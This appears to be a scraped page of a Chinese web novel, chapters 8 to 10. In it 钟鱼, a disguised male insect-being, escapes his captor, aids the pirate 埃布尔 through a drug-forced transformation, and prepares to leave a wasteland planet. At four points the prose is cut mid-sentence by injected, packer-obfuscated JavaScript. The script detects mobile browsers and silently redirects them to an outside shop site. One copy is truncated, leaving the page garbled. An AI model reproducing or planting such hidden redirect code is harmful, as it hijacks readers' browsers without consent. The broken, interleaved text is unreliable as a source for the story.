;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509705|202947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所言,他们从未见过雄虫,更别说布莱斯这样的高级雄子了。 就这样,科尼尔望着钟鱼的背影,带着纷乱的思绪离开了。 钟鱼在话落的那一瞬间,居然只想流泪,他拼命忍住泪意,平缓情绪之后他才转身往窗外看去。 窗外静谧无声,没有任何活物的踪迹,钟鱼只能听到自己的心跳声。 这两年钟鱼虽然没能恢复原主的记忆,不过倒从别处探听到了一些原主的事情。 原主确实是被星盗首领给抓的,不过并非埃布尔,而是菲斯。 目前还不知道原身的来历,只知道是菲斯在一个没有名字的荒星发现了雄虫踪迹,便将他抓到了星舰上,之后被亚伯得知给抢走了。 菲斯虽然也是星盗首领,可不管是他个人的实力还是他统领的星盗团都打不赢埃布尔和他的星盗团。 所以原主就这样待在了埃布尔的星舰上,可惜菲斯与埃布尔性格迥异,行为方式也称得上极端。 或许是他没有检测原主的基因等级,居然只把他当低级雄虫对待,给他注射药物想让他提前二次分化,以致原主身体受损,加之数月的饥寒交迫与精神痛苦,很快就是强弩之末了。 即便原主到了埃布尔星舰上好好调养了两日,也未见起效。 亚伯检测完原主的基因等级之后欣喜若狂,自以为给他老大抢了件宝贝,没成想宝贝已奄奄一息,最后还被尼斯克瞥见顺道抢走了。 他们清楚原主的身体状况,原以为活不了,没成想一段时日不见,发色都顺滑了不少。 他们只以为尼斯克身为中央星的s级雌虫,有什么他们不知道的治疗方式,哪能想到原主早已抱着手臂孤零零的死在一间破屋子里呢? 他们当然不会在乎这些,不管是臭名昭著的星盗,还是大家族出身的尼斯克。 钟鱼为原主感到惋惜,他更是有些惺惺相惜,他总是钻牛角尖。 他想,如果原主没有被菲斯间接害死,他就不会被弄到这个鬼地方来了。 这怨气无处发泄,他便记在了这个素未蒙面的星盗头上。 转而,他悄悄松了一口气。 庆幸是菲斯而不是埃布尔,私心的,他不想怨恨埃布尔。 在虫族这两年,埃布尔是唯一一个长相完美符合他的审美,又极具人情味的雌虫。 尼斯克笃定是伪装,钟鱼并不介意,因为在虫族就是伪装都少有。 科尼尔走后,钟鱼再次见到了怀特,钟鱼有些恍然,怀特变得沉默,不再像之前那样絮叨了。 如果钟鱼不主动问,怀特很少会像从前那样滔滔不绝。 钟鱼在怀特身上闻到了血腥味,这气味让钟鱼罕见地想起了索尼克。 这个早已掩埋在记忆深处的名字。 不知是否是因为他现在并非人类,钟鱼的嗅觉也异常灵敏了,这让他感到困扰。 他站在封闭的房间内,却能闻到街道上雌虫的气味,钟鱼意识到这是信息素的味道。 钟鱼并没有什么反应,也许只是因为还没成年,不过他不喜欢任何信息素的气味,这让他觉得格格不入,他只想要远离。 8. 第 8 章 这段时间不知道是不是因为精神力暴动的原因,尼斯克也受了些影响,总是早出晚归的。 钟鱼自觉是一个逃跑的好时机,他照常待在屋子里。 这两年,他早就跟赫尔斯的这群手下混熟了,除了赫尔斯本人。 外面也没什么雌虫看守着他,只是院子里还是留了约十来个雌虫。 钟鱼将光脑扔在了床上,抱着一盆小树苗踏出房门。 这是尼斯克给他的种子,他种了好几月才发芽,每天都会抱去晒会儿太阳。 是以,院门口的两只雌虫笑着跟他打招呼,“阁下,又要去晒太阳啊?” 钟鱼点头,解释道:“多晒太阳长得好一些。” 很快就走到了荫蔽处,钟鱼将花盆放置在土坑中,坐在一旁的躺椅上昏昏欲睡。 这个地段是他精心挑选的,这儿看似空旷,周围却有不少摆件,相比别处的一览无余,可以稍稍遮拦。 再加之他从未表露过想要离开的心思,所以就连尼斯克都不曾对他设防。 感受着毒辣的阳光铺在脸上,尼斯克说只有垃圾星的阳光会这么烫人。 钟鱼闭着眼睛去听,装作熟睡的样子。 不多时,他们就开始换班了,赫尔斯的这群手下没什么纪律,经常没等换班的过来就提前走了。 听到脚步声远去,钟鱼倏地睁开眼睛,往反方向跑去。 他今日特意穿的浅色衣服,看起来没那么显眼。 一切都很顺利,钟鱼很快就跑到了偏门口。 听到动静,钟鱼连忙顿住脚步,躲在墙后边,是换班的那两个雌虫过来了。 钟鱼屏气凝神,待他们从他身旁走过,他才放轻脚步继续按原路线走。 往日这外面也会守几个,这段时日可能是垃圾星频繁出现暴动,尼斯克也就顾不得这么多了。 明明是很短的路程,钟鱼却紧张得心砰砰跳个不停。 他不能走大门,只能走后门,刚走到门口,就听到一道疑惑的声音。 “阁下,您怎么会在这里?” 只差临门一脚了,决不能失败,今天就是最好的机会。 钟鱼直接转身用精神力攻击,好在只有一个雌虫,不设防地被突然攻击,这只雌虫跟上次怀特一样,当场晕了过去。 顾不得其他的了,钟鱼连忙从口袋里掏出那对触角装饰戴上,匆忙跑了出去。 “901快快快,给我隐藏性别!” 他虽然用了亚雌装饰,可有些精明的雌虫还是能看出端倪。 不知跑了多久,直到钟鱼感到肺部疼痛才停了下来,他不可置信地撑着膝盖喘气。 难以想象,他居然这么轻易地逃了出来。 尼斯克回来之后肯定会生气,他会来找他吗? 没有了他这个a级雄虫,尼斯克还能顺利回到中央星吗? 钟鱼仰躺在干枯的草地上,脑子里乱糟糟的,躺了好一会儿,他才爬起来继续往前走。 * “一万星币一次!” “一万星币二次!” “一万星币三——” “我出两万!” 话音刚落,拍卖官正要开口,这人直接从兜里扔出两张万元的纸钞出来,急匆匆地去拉台上的那个亚雌。 台下哄笑一片。 “这人怎么这么着急?” “这只亚雌虽然看起来很像雄虫,可毕竟不是雄虫,又没有信息素,钱没地方扔了?花两万星币买一晚上……” “不说是垃圾星,我还以为我现在实在中央星呢!” 显然说这话的人并没有去过中央星,只能从光脑上了解到一点碎片,只以为中央星的亚雌也犯得着拍卖。 吧台的一个瘦弱亚雌看了眼台上的人,很快就敛下眸中神色,低头继续调酒。 这人穿着一件灰色大衣,头上戴了一个帽子,帽檐拉得很低,叫人看不清面容。 不过看他的身形,显然是一只雌虫,还极有可能是蝗族的。 见他把亚雌拉下台之后直往门口走,钟鱼连忙从吧台绕过去阻拦。 “这位先生,您要带走的话必须签契约,明日白天要将他送回来。” 说着钟鱼从怀中将早已盖好章的契纸拿出来递给他,这人显然不想太过高调,虽然神色匆匆,可最后还是拿出光脑上传信息,签了契约。 看到契约成功的显示,钟鱼松了一口气,礼貌的与雌虫道别。 “他是哪来的?我在这儿这么久还是头一次见到他。” “伊斯特,你见过他吗?” 一个长着隐翅的雌虫走过来与钟鱼攀谈,这雌虫每天都会寻个由头跟他闲聊两句。 钟鱼已经见怪不怪了。 他将契纸收入怀中,头都没抬,“没见过,他应该是第一次来吧。” 不过,钟鱼方才跑过去的时候,瞥见了他掩藏在帽子下的嘴巴和发色。 赤红的头发。 这样独特的发色钟鱼只见过一次。 亚伯的长相他虽然记不太清了,可想着这个唇形和发色还有这两米多的身高,很难不让人联想到他。 可是埃布尔那个星盗团最近不是在跟菲斯打架吗? 难不成这小道消息有假? 亚伯这么急匆匆的,难不成是埃布尔出事了? 钟鱼没再想这些,毕竟这一年来,他光养活自己就已经很艰难了,更不想掺和他们之间的事情了。 好在他早就用药物改变了瞳孔和发色,平时稍稍上妆修改了一下面容,便是从前见过他的人也很难认出他来。 关门之后,街上冷冷清清,就连路灯都少有,钟鱼只能借着光脑上的手电筒照明。 刚走到拐弯处,钟鱼就听见了轻微的脚步声,他不敢回头,撒腿就往前跑。 这虫早有准备,一个大跨步过来就追上了他,将钟鱼反着手压在破败的墙上。 “你是谁?我是月色的工作人员,你这样是犯法的!” 钟鱼动弹不得,墙面凹凸不平,他只觉得脸疼得很,怕是磨破皮了。 “小亚雌,你还没二次分化吧?” “不过也没有办法了,我家老大受伤了,只能麻烦你救他一救了。” 这声音…… 是亚伯。 方才那个人就是亚伯,只是当时他伪装了音色,现下才是他原本的声音。 好在他没有认出他来。 钟鱼挣了挣,低声说道:“大人,我还没有成年,你就是把我带过去,我也帮不了什么忙。” 亚伯烦躁地抓了抓头发,气呼呼地吼道:“我当然知道你帮不上什么忙!” “可谁叫你倒霉呢,这么晚了我也找不到其他的亚雌了,不管了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509706|202947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先带过去再说。” 说着亚伯就拎着钟鱼往前走去。 很快,就走到一间老旧的木屋门前。 亚伯将钟鱼放了下来,盯着他看了看,疑惑地皱了一下眉头。 实在是想不明白,他就推搡着钟鱼走了进去。 果然,门一被推开,钟鱼就看到了不知生死的埃布尔。 方才被带走的亚雌缩在另一半角落里瑟瑟发抖,见到钟鱼,他惊喜地朝他喊道:“伊斯特,你怎么也来了?” 钟鱼无奈地耸肩。 原因显而易见,你没看到我身后凶神恶煞的红发雌虫吗…… “我老大挑得很,这只亚雌他不喜欢,”亚伯将另一只亚雌拉到身后,低头恶狠狠地对钟鱼说道:“我会一直在外面守着,你要是敢做什么不该做的,我会立马送你去见虫神!” 说完,他直接将钟鱼的袖子撸起来,扎了一管药剂推了进去。 “治好了,我会给你一大笔星币。” 待亚伯走后,钟鱼捂着手肘,茫然地站在空荡荡的木屋内,四周静悄悄的,他甚至能听到埃布尔急促的呼吸声。 难道埃布尔二次分化了? 三年过去,他们都没弄到雄虫吗?亚雌又没有信息素,带过来也没什么用处啊。 虽然他是雄虫,可他现在也没有信息素啊,这不是害他嘛! 三年过去,这红毛果然还是一样的讨人嫌。 感觉身上越来越热,钟鱼难受得弓起身子,慢慢地蹲了下去。 显然,沙发上的雌虫也好不到哪里去。 他浑身滚烫,金色头发早已被冷汗浸湿粘在额头上。 埃布尔难耐地喘息一声,从变形的沙发上滚落下去,听到动静,钟鱼忍着胸口的烧灼感挪过去看他。 钟鱼伸手摸了一下埃布尔的额头,果然冷得跟冰块一样。 他刚要收回手,就摸到一个毛茸茸的东西,屋内光线不好,看不大清楚。 钟鱼只得打开光脑上的手电筒低头去看。 ——是一对毛茸茸的土黄色触角。 这触角不像他脑袋上的伪装触角那样坚硬,反而十分柔软,让钟鱼想起蝴蝶。 难不成埃布尔是蝴蝶种族的? “埃布尔,埃布尔……” 埃布尔现在神志不清,钟鱼试图唤醒他。 可惜没有任何成效。 空气中充斥着一股难以躲避的气味,闻起来像是薄荷和干枯草木的味道。 钟鱼后知后觉,这是埃布尔的信息素。 看来真的是二次分化了。 二次分化的威力,钟鱼光这一年就见识了不少,即便是没有信息素的亚雌,二次分化的时候也会异常难受,甚至有的身体不好的,直接死在了这道坎上。 “埃布尔,埃布尔,我能为你做些什么呢?” 钟鱼刚说完,埃布尔紧闭的双眼就睁开了,钟鱼还没来得及反应,霎时他只感觉一阵天旋地转。 再睁眼时就躺在木屋中间的木板上。 他,他刚刚是被埃布尔甩飞了? 埃布尔甚至只是睁了一下眼睛。 钟鱼不可置信地去看沙发底下。 可眼前哪还有什么沙发,就连埃布尔都不见了。 取而代之的是一只将近三米长的蝴蝶。 不不不,好像不是蝴蝶,是蛾子。 9. 第 9 章 这只大蛾子也不知是什么品种。 钟鱼被吓得清醒了一瞬,忘却了浑身的烧灼感。 他举着手腕借着手电筒去看,只见原本的沙发和矮桌被这金黄色翅面的蛾子挡在身.下,它的尾部是深褐色的,翅面上也长着零星褐色的圆形图案。还有一对很长的尾突,尾突的末端是跟翅面一样的金黄色。 像是一片巨大的银杏叶。 看清的一瞬间,钟鱼大脑一片空白。 他在虫族待了三年,还是头一次看到完全虫化的虫族。 钟鱼僵在原地,腿软得站都站不起来,看着它的复眼稍稍转了转,头上短短的触角也跟着上下跳动。 意识到不对,钟鱼顾不得去关手电筒,急忙朝门口爬去。 倏地,一阵扑腾声响起,钟鱼只感觉后背砸得生疼。 他不敢睁开眼睛去看,却也能感觉到这玩意儿现在正压在他身上。 钟鱼一动不动,脑子里什么也没想,只是紧闭着双眼等待被处决。 ……钟鱼有些不自在,他好像感觉有什么东西贴在他的脸上。 他甚至感觉到些许濡湿,紧接着手上也有毛茸茸的触感。 这玩意儿在舔他的汗水…… 知道自己暂时没有性命之忧后,钟鱼颤抖着睁开了眼睛,也许是因为这一通惊吓,眼睛甫一睁开,就有几行清泪不自控地流了下来。 他下意识地去擦,这蛾子却先他一步,很快就将他脸上的泪水舔得一干二净。 钟鱼现在倒不怎么怕了,或许,因为他与他们是同类了吧。 他早已不再是人类了。 钟鱼低声唤道:“埃布尔,埃布尔……” 罢了,不自控完全虫化状态,他也不指望埃布尔能清醒了。 看着它的复眼紧紧贴着他的手腕,钟鱼这才明白,原来它喜欢灯光,所以刚刚才会下意识地朝他飞过来。 这可真是自己吓自己了。 这么大块头实在是重得很,钟鱼被压得喘不过气来,他伸手推了推埃布尔。 好吧,纹丝不动,钟鱼手上还沾了不少金黄色的粉末。 山不就我我就山,钟鱼只得侧身往旁边挪了挪。 难道二次分化都是会完全虫化的吗?他之前也没听说过这种情况啊。 现在下去也不是办法,毕竟亚伯可不是埃布尔,若是埃布尔一直这样,他绝不会放他走的。 埃布尔清醒了倒是一切都好说,而他的精神力只能攻击半虫化的雌虫,亚伯这样的高等级雌虫还是别想了。 不然一拳下去,他就可以准备头七了:) 他虽然没有信息素,可有精神力啊。 死马当活马医吧,他好歹是个高等级雄虫,精神力或许会有些作用。 想着钟鱼就抬手运作精神力丝线朝埃布尔的触角探去。 埃布尔的触角动过来动过去,钟鱼下意识地伸手去摸,想要制止。 哪成想这家伙的触角舞动得更厉害了,他似乎很不喜欢这种触碰,就连脑袋和柔软的身体也跟着扭。 不过,他的精神力好像还真有点儿用处,埃布尔虽然摇头晃脑,可没有丝毫想要逃离或者攻击他的意思。 钟鱼视线下移,看向他毛茸茸的胸口,他这个部位的毛最多,也是金黄色的,看起来很柔软。 想着,钟鱼伸出手指戳了戳。 见埃布尔一动不动,钟鱼便整个手掌覆上去抚摸。 相比方才抚摸触角时的抵触,他现在简直乖得不行,金黄色的绒毛果然跟想象中一样又细又软。 埃布尔的翅膀控制不住地扑闪,金黄色的粉末洒满了钟鱼全身,还有少许掉落在他浓密的睫毛上。 钟鱼有些恍然地眨了眨眼睛,因为之前的水液清洗和唾液舔舐,他脸上恢复原本的模样。 金黄色的粉末撒在他白净漂亮的脸上,在他同色的伪装发色下,更衬得他像一个天使,这发光的粉末犹如天然的点缀。 就这样,钟鱼的右手放在埃布尔毛茸茸的胸口,时不时地抚摸两下,手中的精神力源源不断地朝埃布尔输送过去。 钟鱼似乎能透过复眼看到埃布尔此刻的情绪,他想,他一定是放松的。 钟鱼惊异自己对于虫化的雌虫竟然一点儿也不排斥,看久了竟然还觉得蛮可爱的。 难道这是雄虫的本能吗?虫族的雄虫应该都是慕强的吧?他们是不是都很喜欢虫化的雌虫呢? 不知过去多久,钟鱼只感觉筋疲力竭,可身旁的埃布尔仍旧是虫化的模样。 钟鱼叹了口气,他现在是完全使不出一点儿精神力了。 他已经竭尽全力了,生死有命吧,想着他就彻底昏睡过去。 钟鱼久违地做起梦来,这是他在虫族头一次做梦。 梦中又是那个熟悉的场景。 一个小男孩哭着在一条窄小的马路上拼命地跑。 天是蓝的,树是绿的,一切都如从前那般生机盎然。 钟鱼站在小男孩的身后,只为了再听到那刻在灵魂中的声音。 “小鱼儿,别回头,一直向前跑……” 钟鱼倏地睁开眼睛,一骨碌地坐了起来,兀自平缓心绪。 清醒过来,他才察觉到异常。 等会儿……这柔软程度,不是木地板? 那是…… 钟鱼环顾四周,不期然看到沙发上坐着两个雌虫。 似曾相识的场景。 ——是埃布尔和亚伯。 亚伯依旧顶着那头横七竖八的红毛,而埃布尔也同印象中一样敛着双眸,面色冷淡。 埃布尔二次分化成功了?他的基因等级有变化吗?是上升了还是……下降了? 见到埃布尔的一瞬间,想起昨夜的事儿,钟鱼脑子一片浆糊,顾不得自己有没有暴露了。 直到他看到床边摆着一对触角,那是他用来伪装的发饰。 …… 完了。 确实不用顾了……他彻底暴露了。 钟鱼刚抬头就与两个雌虫对上视线。 埃布尔浅色的瞳孔让他面无表情时,显得格外的冷淡疏离,他偏过头去看向窗外。 反倒是坐在他对面的亚伯站了起来,他笑嘻嘻地走到床边,俯身看着他,说道:“你终于醒了。” “好久不见,小雄虫。” 好吧,现在也不用去试探了,钟鱼摸了摸脸,昨晚一通折腾,肯定洗得干干净净了。 钟鱼一时默然。 亚伯对他的态度却是大转弯,不过他还是有些幸灾乐祸,当然幸灾乐祸的对象是尼斯克。 “小雄虫,干得好啊!”亚伯坐了回去,翘着二郎腿,仰躺在靠背上,“居然让尼斯克吃瘪了,听说他当时气疯了,到处找你,都没工夫来找我们的麻烦了。” 钟鱼也不知道说什么,他本来就不觉得愧疚。 本来不管是原主还是他都不是自愿的,他们都是被抓来抓去,这些雌虫甚至从来没有想过要问他是否愿意。 所以虽然尼斯克待他很好,可他并不认为自己欠尼斯克什么。 这一切,本来就只是利用,尼斯克只是想借助他名正言顺地回到中央星。 因为利益开始,那便也会因为利益终结。 突然外面传来扣门声,钟鱼惊了一跳,上次这个情况是尼斯克来了,难不成这一次也是? “尼斯克半年前就来过一趟了,现在不会过来了,”看到钟鱼这副表情,亚伯嘲笑道:“你让埃布尔二次分化得很顺利,我们不会把你的行踪告诉尼斯克的。相反,我还要给你星币呢,这是酬金。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509707|202947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >钟鱼不知道该不该信他,亚伯这个雌虫在他的印象中一直不太靠谱。 他看了眼埃布尔,埃布尔默默点头。 钟鱼松了一口气。 亚伯出去跟外面的雌虫谈事去了,徒留钟鱼和埃布尔面面相觑。 一时间,他们之间的氛围有些奇怪。 钟鱼能感知到些许异样的情绪,像是……尴尬。 对于昨晚的事,埃布尔感到尴尬? 咳咳……虽然确实有点诡异。 看来埃布尔虫化状态虽然没有神智,恢复之后却还能记得发生的事情。 钟鱼倒不觉得有什么大不了的,虫族二次分化不都那样控制不住嘛,他这一年还见过很多亚雌二次分化呢。 哪个不是惊险万分? 为了缓解这种古怪的氛围,钟鱼主动开口询问,“埃布尔,你怎么突然二次分化了,不是还要明年才到时间吗?” 钟鱼之前听怀特提起过埃布尔的年龄,埃布尔是后天的高等级,他最初的等级是c级,后来晋升成了b级,一次分化之后又升成了a级。过了这许多年才至a级瓶颈。 因而尼斯克虽然常说埃布尔虚伪,可从不否认他的实力和天赋。 二次分化前的晋升尤其艰难,因为这样的晋升靠的只有自己,不能像二次分化之后那样,靠着雄虫的信息素和精神力来加重砝码。 埃布尔的睫毛也很浅淡,跟他的瞳色一样,他低声解释:“被赫尔斯给算计了,注射了药物,导致二次分化提前了。” 钟鱼倒吸一口气,难怪昨天亚伯这么焦急。 药物催化的二次分化可不是开玩笑的,十有九伤。 不过现在看埃布尔好像没太大影响,基因等级应该没有下降。 “赫尔斯?” 这时亚伯又进来了。 听到赫尔斯的名字,他当即冷哼一声,“这雌虫当初被菲斯抛弃,之后就来投奔我们,被埃布尔拒绝了,没想到过了这么多年他还记恨着呢!不知在哪儿搞来的催化剂,我们差点就栽他手里了。” “等尼斯克走了,不用我们出手,菲斯也会弄死他的。” 钟鱼不置可否。 他虽然认识赫尔斯挺久的,不过很少来往,对他也不甚了解。 只知道他对怀特很凶。 钟鱼将触角重新戴回脑袋上,下床穿上鞋子。 亚伯有些好奇地说道:“小雄虫,你这是用了什么药,闻起来简直跟亚雌一模一样。” 钟鱼随口说道:“市场上找的,我也不清楚。” “诶诶诶,你这就走了?”见钟鱼朝门口走去,亚伯追了过去,“你还要继续回那个酒吧吗?” “你说你一个a级雄虫犯得着这样吗?跟尼斯克去中央星不更快活些?” “而且我家老大等级提升了,之前本来就要晋升了,这次基因等级提升也是不用想的事儿!你现在跟着我们不也挺好的?” “我家老大这样的s级雌虫不说配s级雄虫,也配得上你这样的a级雄虫。” 钟鱼不欲辩解,他只是低声说道:“你昨天答应我的,现在埃布尔没事儿了,我也不要你的星币。” 亚伯挠了挠头,赤红的头发被他抓得跟鸡窝一样。 埃布尔起身朝钟鱼走来,他站在亚伯身旁,低声说道:“不管怎样,昨晚如果不是因为你的a级精神力,我无法安然度过二次分化,我答应你一个要求。” “这个要求永久有效,只是不能违背我的原则。” 钟鱼本来想要拒绝,不过转念一想,他确实又惊又吓还费了不少精神力,是该收点精神损失费,也就没有拒绝了。 他轻轻嗯了一声,转身朝外面走去。 “再见,布莱斯。” “再见,埃布尔。”钟鱼低声呢喃。 10. 第 10 章 回到月色之后,一切照旧。 钟鱼最近有些心烦意乱,也许临近二次分化的缘故。 星网上说雄虫二次分化大多数长相都会发生变化,等级越高的变化越大,901只能给他隐藏性别,又不能隐藏他的外貌。 他这个系统就是这么鸡肋。。。 钟鱼现在的亚雌身份,如果二次分化后形貌大变肯定会引起怀疑的。 他虽然可以乔装打扮,可看星网上那几个有名的雄虫二次分化长相对比图,还是觉得先离开这儿保险一些。 那几位雄虫身高和体型都变化巨大。 这样想着,钟鱼最终还是在一个风和日丽的好日子辞职,背着背包从月色离开了。 好在这一年也赚了些星币,他那日虽然没要亚伯给的星币,可过几天亚伯还是派其他雌虫送了好多星币过来,他还是分到了一些。 前路漫漫,钟鱼此刻是真的不知道能去哪儿了。 索性就坐车去了边境处,找了个便宜旅馆住了下来。 边境荒僻,除了偶有飞舰路过,平时鲜有人烟。 刚办理完入住手续,钟鱼就下楼出去散步,好熟悉熟悉环境。 走了大半个小时,终于见到了一棵枯死的老树,钟鱼只觉久旱逢甘霖,连忙快步走了过去。 到了树下却见好几个体格强壮的雌虫正在拖拽着木桩。 钟鱼靠在树下瞧了好一会儿,很快这几个雌虫就将附近的木桩全部拔除了,只留一排排土坑。 他们身上穿着白背心和土黄色的裤子,远远一瞧倒挺能唬人。 还以为只有上半身呢,这束脚裤几乎与荒地融为一体。 这四个雌虫将木桩累在一块用绳子捆住,分成好几大捆,居然就这样每只雌虫抗两捆走了。 几只雌虫越走走近,路过枯树的时候,还有闲心谈笑,“这儿怎么会有这么漂亮的亚雌?” “小亚雌,你怎么在这儿?” 钟鱼见他们服饰一样,心中有了些猜测,不答反问:“你们是军雌吗?怎么会来这儿?” 几只雌虫互相看了一眼,然后笑了起来。 最末尾的那只雌虫点了点头,解释道:“前几年这儿不是有异兽入侵嘛,我们就在这儿驻守了几年,去年顺带着征兵,现在日期到了,所以我们要走了。” 征兵?科尼尔也来过这儿吗? “小亚雌,我们一走这附近的商铺旅馆大半也会搬走,你也早早离开这儿吧。” 话虽如此,钟鱼还是得在这儿度过二次分化才行。 “你们那儿招亚雌吗?”钟鱼鼓起勇气问。 他们既然是军雌,那肯定是一个军团的,这样的话,就有星舰,如果他能入伍不就能跟着他们离开垃圾星了? 听到这话,他们又是一阵笑,“招亚雌,不过你这体格也不合格啊,你这体格上战场给异兽塞牙缝儿都不够。” 钟鱼有些无奈地叹了口气。 这军雌见他神色落寞,又补充道:“不过我听说第五军团要去莱茵克,如果不走官道,肯定要路过这儿,你可以再等个十来天。” 钟鱼点了点头,道了声谢。 十来天,算算他那时候正好二次分化完没多久,时间上倒正好。 到时候他再把脑袋上的触角给摘了,不是低等级,第五军团如果真的要招亚雌,应该不会拒绝吧? 星网上说军队里的亚雌一般从事的都是医生行业,他们称为军医。 咳咳,他现在学医还来得及吗? 不过经过钟鱼这几年的观察了解,雌虫的身体恢复能力很强,而且等级越高恢复能力就越强。 对于高等级雌虫来说,断胳膊断腿的都是小事儿,反正几个月就会重新长出来。 其他中低等级雌虫恢复能力虽然弱些,不过如果不是战争期间,也就是休息时间的长短差异。 理论上,只要心脏和脑袋没事儿,就能活下来。 所以军队里的军医其实并不多,可他也想不出其他离开垃圾星的办法了。 思量好了,钟鱼也便不在这儿逗留了。 他又照着星网上说的,去附近商店购买了一些二次分化用得着的东西。 “纱布,酒精,棉签……二次分化多数伴有自.残的行为,……止痛药,不建议服用太多,不过如果实在疼得难以忍受,建议服用(注:如果你那时候还有神智,不过一般都没有,所以建议开始发热的时候就注射止疼针剂)。” “就直接买止疼针剂好了,这个见效快一些,我的星币得省着点花,止痛药还是别买了。” “二次分化这几天服用营养剂,不要吃压缩饼干,营养剂最好是口味清淡一些的,免得分化时造成胃部不适引发呕吐。” “二次分化少说也要一个晚上,所以一定不要空腹,千万不要为了省星币吃压缩饼干,不然分化时会觉得又痛又热又渴又饿!” 原来是这样,不过钟鱼这几年基本上都是吃的营养剂,压缩饼干只有今年吃得多一些。 说真的,这两种食物他都不喜欢吃。 可垃圾星食物匮乏,实在是没有其他品种的食物可以吃了。 想着,钟鱼在星网上下单了半箱小麦味的营养剂,打算到时候奢侈一把,每天吃这个好平安度过分化期。 这个地方太偏了,附近商铺里面营养剂的品种很少,而且价格还贵。 他平常一般都是买混合口味的,反正吃来吃去没有一样是美味的,他就当拆盲盒了。 看评价,小麦口味的是公认的比较清淡的营养剂了。 是二次分化选购top1。 东西都买齐了,钟鱼就放下心来。 他也不知道具体是哪一天二次分化,所以拿了两管止疼药剂随身带着,以备不时之需。 这一通买下来,星币就花了一小半。 止疼针剂果然贵,光买这五支止疼药剂的星币就够他买好几箱营养剂了,而一支营养剂的价格又能买十几包压缩饼干。 难怪这些雌虫受伤了都生熬,反正就是好得慢一点,他直到离开尼斯克才深刻理解他们。 钟鱼再次惊叹他们顽强的生命力。 在等营养剂的这几天,附近的商铺和旅馆果然如那个军雌所说,陆陆续续搬走了不少。 好在钟鱼住的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509708|202947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这家旅馆是家几十年的老店了,动乱时虽然靠军队挣钱,可平常的收入也能维持正常运转。 这一日钟鱼正坐在窗口吃压缩饼干填饱肚子,才刚喝了一口水杯中带有苦味的水,就听到楼下传来些许话语声。 “来军团了!” “真的吗?” “是真的,我方才看见几个军雌,身上穿得衣服跟之前那些不一样,不过都是军人的衣服。” 钟鱼突地从凳子上站了起来。 暗道:怎么这么快就来了? 也不知道他们会在这儿待多久,他现在还没有二次分化呢!就是网购的营养剂都还没到。 想着钟鱼就用喷剂换了个发色,换了身不起眼的衣服就出门了。 刚踏出旅馆,果然见到不少雌虫。 虽然隔得远看不太真切,不过他们服饰统一,走路姿势高度一致,又没有一个半虫化的,这肯定是第五军团的军雌了。 钟鱼见有两个军雌坐在那棵树下,他忙跑了过去。 刚停下来他就跟他们俩打了个招呼,随口编了个名字自我介绍了一番。 这两个军雌看着年纪不大,其中一个笑眯眯的,看着很好相与,如果忽略他格外健壮的体格,只看他甜美的外表的话。 “你们是第五军团的吗?”见他们点头,钟鱼又询问:“你们是要在这儿征兵吗?那肯定要待很久吧?” 闻言,其中一个稍稍年长一些的军雌摇头说道:“我们只是路过这儿,过两天就走了。” 这个军雌跟钟鱼原本的发色一样,也是棕色的头发,不过他的瞳色是深红色的,乍一看有些叫人心惊。 许是久经沙场,他面容坚毅,身上有一股杀伐之气。 方才钟鱼跟他们搭讪时,旁边的那个雌虫也说了他们的名字。 他叫希尔,另一个“金刚芭比”叫克伊。 说来也巧,希尔跟他原本的发色一样,而克伊却跟他方才随意喷的发色一模一样。 克伊的是天生的,看着柔顺很多,钟鱼买的喷发剂虽然不是非常廉价,可这样一对比差异还是相当明显。 只要稍稍留意就能看出他是喷了染发剂。 好在亚雌因为有些像雄虫,在垃圾星这类低能源星球又勉强算作是雄虫的替代品,所以亚雌染发并不稀奇。 这二位显然也没在钟鱼的头发上过多停留。 又打听了点消息之后钟鱼就走了,回去之后他一直靠在墙上想着,怎么才能跟着他们顺理成章地离开。 雄虫的身份是绝对不能暴露的。 一经暴露,他们绝对会把他交给雄虫养育机构,依他的基因等级会被送至中央星,然后就是被那儿的大家族买下缔结婚姻,成为家族内部专有的雄虫。 